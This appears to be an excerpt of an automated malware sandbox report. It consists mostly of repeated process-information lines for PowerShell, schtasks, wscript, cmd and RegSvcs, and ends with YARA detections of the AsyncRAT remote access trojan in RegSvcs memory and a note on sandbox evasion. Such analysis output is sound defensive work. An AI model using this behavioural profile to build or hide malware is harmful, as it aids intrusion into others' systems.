Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

